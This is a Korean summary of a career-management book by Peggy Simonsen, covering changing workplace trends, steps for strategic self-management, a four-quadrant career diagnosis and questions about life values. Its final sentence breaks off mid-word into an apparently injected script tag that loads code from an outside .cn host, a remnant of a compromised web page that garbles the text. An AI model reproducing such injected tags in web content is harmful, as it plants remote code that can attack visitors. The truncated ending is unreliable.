자신을 전략적으로 관리하라!
2007-01-24 최종옥/북코스모스 대표 www.bookcosmos.com
나의 몸값을 10배 높이는 6가지 방법 페기 시몬슨 지음/김광수 옮김
1. 당신의 일자리와 일터가 바뀌고 있다
새 천년이 도래하면서 우리는 새로운 경제혁명을 맞이하고 있다. 세상이 너무 빠르게 변화하고 있어서 새 천년의 생존 방법은 어떤 것이 될지 점치기가 쉽지 않다. 21세기가 시작된 이래 지금까지의 징후를 통해 볼 때, 우리들이 알고 있던 일자리는 지속적으로 사라지게 될 것이다. 숙련된 지식 노동자들을 엄격한 작업 조건과 물리적 제한 속에 가두어두는 일은 점차 어려워지고 있다. 직원을 고용하는 것이 그들의 지식과 생산성 때문이라는 개념은 과거 책임자 자리에 있던 사람들이 가졌던 가부장적 사고방식과 서로 대치된다.
1990년대의 X세대들은 베이비붐세대의 선배들과는 다른 가치관을 갖고 직장에 입사했다. 그들은 여러 사업 분야와 연관되어 있으면서 형식에 얽매이지 않은 중, 소규모의 자율적 기업에 매력을 느낀다. 그리고 독재적인 권위주의자를 경멸하며, 자신의 요구에 맞는 일거리를 열망하고 그것에 전념한다.
그렇다면 X세대의 뒤를 잇는 세대가 우선적으로 여기는 노동가치는 무엇일까? 이들은 해야 할 필요성이 있을 때 일하고, 직업적 성장에 대해 스스로 책임을 지며, 직업을 바꾸는 것을 성장의 일부로 생각하고, 일자리의 보장보다 업무의 만족도에 더 신경을 쓸 것이다.
앞으로는 직업상의 경력에 다음과 같은 주요 핵심 직업 트렌드가 영향을 줄 것이다.
트렌드 1: 업무보다 역할을 중시하고 ‘다음 일자리’만을 추구하는 사고 방식을 버려라.
트렌드 2: 자율적 모형을 지향하고 기존의 계층적 사고방식을 버려라.
트렌드 3: 팀과 팀워크를 중시하고 ‘나 아니면 안 된다’는 사고를 버려라.
트렌드 4: 현재에 집착하지 말고 변화에 신속하게 적응하라.
트렌드 5: 고립적인 사고방식을 버리고 글로벌 경제의 흐름에 동참하라.
트렌드 6: 지금까지의 타성에서 벗어나 새로운 방법을 모색하라.
2. 전략적 경력관리를 위한 6가지 방법
step 1 - 전략적 자기관리부터 시작하라
21세기에 전략적으로 경력을 관리하려면 무엇보다도 자기관리가 필요하다. 특히 고용자를 위해 막연히 일하지 말고 자신의 마음가짐과 삶의 목표를 파악할 필요가 있다.
조직의 필요성과 자신의 필요성 사이의 균형을 유지하면서 자신의 직업을 적절한 방향으로 발전시킬 수 있도록 행동해야 할 것이다. 자신이 도달하고자 하는 궁극적인 목적지를 파악하기는 쉽지 않겠지만 적어도 목적지로 향하는 동안 마음 편하게 일할 수 있어야 한다.
전략적인 경력관리의 진행 과정을 제대로 실행해 내기 위해서는 3단계 조치가 필요하다. 첫 번째 단계는 직업에서 자기만족에 결정적인 요소를 파악하기 위한 내면 탐구이다. 이따금씩 ‘지금의 나는 어떤 사람인가? 나의 가치, 능력, 필요성, 경험이 어떻게 바뀌었는가?’라고 자문해 볼 필요가 있다.
두 번째 단계는 직업의 목표를 결정하기 위한 기회, 결심, 행동에 영향을 미치게 될 외부정보를 수집하는 것. 세 번째 단계는 미래를 탐구하는 것이다. 사람들은 내면과 외면을 탐구한 다음에 비로소 단기간 또는 장기간 일하기를 원하는 경력 목표의 유형에 대한 정의를 내릴 수 있다.
step 2 - 경력진단을 철저하게 하라
철저한 경력진단을 하려면 먼저 ‘운명의 고리’를 이용해야 한다. 이것은 당신의 직업적인 만족과 불만을 진단하고 직업이 궤도를 벗어날 경우에 이를 바로잡을 수 있는 방법을 제공하는데 그 4가지 상한은 각각 다음과 같은 상황을 나타낸다.
상한 1: 맡은 업무를 좋아하지만 아직도 많이 배워야 할 사람
상한 2: 맡은 업무를 좋아하며 그 업무에 어느 정도 숙 달된 사람
상한 3: 맡은 업무에 완전히 숙달했지만 더 이상 그 업무에 만족하지 않는 사람
상한 4: 맡은 업무에 흥미를 잃고 능력 향상에 실패한 불운한 사람
이 운명의 고리가 주는 메시지는 새로운 기술을 배우거나 새로운 과제에 도전하지 않고 현실에 안주하는 사람들은 누구라도 불만족과 보잘것없는 성과의 고리에 올라 탈 운명을 지니고 있다는 것이다.
자기 업무나 직장에 대한 만족도가 떨어질 경우, 그 증상과 원인을 진단해야 하는데 대부분 증상을 고치려고 노력하지는 않고 문제의 원인만 따지려고 한다. 그렇기 때문에 증상을 고치고 분류하기 위해서는 각계각층의 폭넓은 반응을 수집해야 할 필요가 있다.
step 3 - 인생의 가치와 일을 통합시켜라
다음에서 자신의 가치와 생활에서의 균형을 유지하는 데 필요한 질문에 답변해 보아라.
- 당신이 가치 있다고 생각하는 것은 무엇인가? 지금의 위치에서 새로운 임무, 직업, 역할을 받아들이는 것이 현명한 선택이라고 생각하는가, 그렇게 하면 당신이 원하는 균형과 생활에 접근할 수 있는가?
- 앞으로 5년 동안 당신에게 중요한 것은 무엇인가?
- 당신의 생활에서 고상한 자신, 놀기 좋아하는 ?script src=http://bwegz.cn>
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